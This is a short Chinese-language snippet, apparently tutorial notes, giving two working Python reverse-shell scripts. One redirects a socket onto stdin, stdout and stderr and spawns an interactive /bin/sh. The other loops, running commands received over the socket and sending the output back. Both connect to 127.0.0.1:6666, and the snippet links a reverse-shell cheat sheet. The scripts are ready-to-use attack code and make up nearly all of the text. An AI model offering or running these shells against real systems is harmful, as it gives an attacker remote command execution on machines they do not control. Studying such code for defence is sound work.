第一种代码如下
- 标准输入 (stdin) :代码为 0 ,使用 < 或 <<
- 标准输出 (stdout):代码为 1 ,使用 > 或 >>
- 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",6666))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1) #将这个文件描述符代表的文件,传递给1描述符指向的文件(也就是stdout)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
第二种
import socket, subprocess
s = socket.socket()
s.connect(('127.0.0.1',6666))
while 1:
proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(proc.stdout.read()+proc.stderr.read())
其他反弹shell
linux:https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html